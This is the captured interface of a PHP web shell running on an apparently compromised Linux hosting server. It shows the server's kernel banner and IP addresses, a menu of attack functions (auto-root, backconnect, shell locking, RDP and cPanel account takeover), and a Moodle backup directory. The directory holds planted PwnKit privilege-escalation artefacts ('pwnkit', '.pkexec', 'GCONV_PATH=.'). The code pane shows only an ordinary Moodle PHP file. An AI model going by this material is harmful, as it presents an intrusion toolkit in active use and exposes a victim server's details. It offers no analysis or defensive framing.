Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 108.162.216.82
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
backup_activity_task.class.php
15.05
KB
-rw-r--r--
backup_block_task.class.php
7.88
KB
-rw-r--r--
backup_course_task.class.php
8.42
KB
-rw-r--r--
backup_coursereport_plugin.cla...
1.31
KB
-rw-r--r--
backup_custom_fields.php
11.15
KB
-rw-r--r--
backup_default_block_task.clas...
1.65
KB
-rw-r--r--
backup_enrol_plugin.class.php
1.26
KB
-rw-r--r--
backup_final_task.class.php
8.26
KB
-rw-r--r--
backup_format_plugin.class.php
1.81
KB
-rw-r--r--
backup_gradingform_plugin.clas...
1.35
KB
-rw-r--r--
backup_local_plugin.class.php
1.16
KB
-rw-r--r--
backup_plagiarism_plugin.class...
1.65
KB
-rw-r--r--
backup_plan_builder.class.php
7.95
KB
-rw-r--r--
backup_plugin.class.php
3.86
KB
-rw-r--r--
backup_qtype_extrafields_plugi...
3.29
KB
-rw-r--r--
backup_qtype_plugin.class.php
8.02
KB
-rw-r--r--
backup_report_plugin.class.php
1.27
KB
-rw-r--r--
backup_root_task.class.php
9.47
KB
-rw-r--r--
backup_section_task.class.php
6.33
KB
-rw-r--r--
backup_settingslib.php
6.98
KB
-rw-r--r--
backup_stepslib.php
108.04
KB
-rw-r--r--
backup_subplugin.class.php
3.57
KB
-rw-r--r--
backup_theme_plugin.class.php
3
KB
-rw-r--r--
backup_tool_plugin.class.php
1.24
KB
-rw-r--r--
backup_xml_transformer.class.p...
8.82
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
restore_activity_task.class.ph...
13.7
KB
-rw-r--r--
restore_block_task.class.php
6.79
KB
-rw-r--r--
restore_course_task.class.php
10.79
KB
-rw-r--r--
restore_coursereport_plugin.cl...
1.05
KB
-rw-r--r--
restore_default_block_task.cla...
1.7
KB
-rw-r--r--
restore_enrol_plugin.class.php
1.26
KB
-rw-r--r--
restore_final_task.class.php
10.23
KB
-rw-r--r--
restore_format_plugin.class.ph...
1.29
KB
-rw-r--r--
restore_gradingform_plugin.cla...
1.7
KB
-rw-r--r--
restore_local_plugin.class.php
1.16
KB
-rw-r--r--
restore_plagiarism_plugin.clas...
1.82
KB
-rw-r--r--
restore_plan_builder.class.php
9.35
KB
-rw-r--r--
restore_plugin.class.php
10.74
KB
-rw-r--r--
restore_qtype_extrafields_plug...
4.3
KB
-rw-r--r--
restore_qtype_plugin.class.php
16.3
KB
-rw-r--r--
restore_report_plugin.class.ph...
1.02
KB
-rw-r--r--
restore_root_task.class.php
15.81
KB
-rw-r--r--
restore_section_task.class.php
7.31
KB
-rw-r--r--
restore_settingslib.php
8.05
KB
-rw-r--r--
restore_stepslib.php
244.81
KB
-rw-r--r--
restore_subplugin.class.php
7.92
KB
-rw-r--r--
restore_theme_plugin.class.php
1.04
KB
-rw-r--r--
restore_tool_plugin.class.php
1.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restore_qtype_extrafields_plugin.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines restore_qtype_extrafields_plugin class * * @package core_backup * @copyright 2012 Oleg Sychev, Volgograd State Technical University * @author Valeriy Streltsov <vostreltsov@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/question/engine/bank.php'); /** * Class extending restore_qtype_plugin in order to use extra fields method * * See qtype_shortanswer for an example * * @copyright 2012 Oleg Sychev, Volgograd State Technical University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class restore_qtype_extrafields_plugin extends restore_qtype_plugin { /** * Question type class for a particular question type * @var question_type */ protected $qtypeobj; /** * Constructor * * @param string $plugintype plugin type * @param string $pluginname plugin name * @param restore_step $step step */ public function __construct($plugintype, $pluginname, $step) { parent::__construct($plugintype, $pluginname, $step); $this->qtypeobj = question_bank::get_qtype($this->pluginname); } /** * Returns the paths to be handled by the plugin at question level. */ protected function define_question_plugin_structure() { $paths = array(); // This qtype uses question_answers, add them. $this->add_question_question_answers($paths); // Add own qtype stuff. $elepath = $this->get_pathfor('/' . $this->qtypeobj->name()); $paths[] = new restore_path_element($this->qtypeobj->name(), $elepath); $elepath = $this->get_pathfor('/answers/answer/extraanswerdata'); $paths[] = new restore_path_element('extraanswerdata', $elepath); return $paths; } /** * Processes the extra answer data * * @param array $data extra answer data */ public function process_extraanswerdata($data) { global $DB; $extra = $this->qtypeobj->extra_answer_fields(); $tablename = array_shift($extra); $oldquestionid = $this->get_old_parentid('question'); $questioncreated = $this->get_mappingid('question_created', $oldquestionid) ? true : false; if ($questioncreated) { $data['answerid'] = $this->get_mappingid('question_answer', $data['id']); $DB->insert_record($tablename, $data); } else { $DB->update_record($tablename, $data); } } /** * Process the qtype/... element. * * @param array $data question data */ public function really_process_extra_question_fields($data) { global $DB; $oldid = $data['id']; // Detect if the question is created or mapped. $oldquestionid = $this->get_old_parentid('question'); $newquestionid = $this->get_new_parentid('question'); $questioncreated = $this->get_mappingid('question_created', $oldquestionid) ? true : false; // If the question has been created by restore, we need to create its qtype_... too. if ($questioncreated) { $extraquestionfields = $this->qtypeobj->extra_question_fields(); $tablename = array_shift($extraquestionfields); // Adjust some columns. $qtfield = $this->qtypeobj->questionid_column_name(); $data[$qtfield] = $newquestionid; // Insert record. $newitemid = $DB->insert_record($tablename, $data); // Create mapping. $this->set_mapping($tablename, $oldid, $newitemid); } } }
Close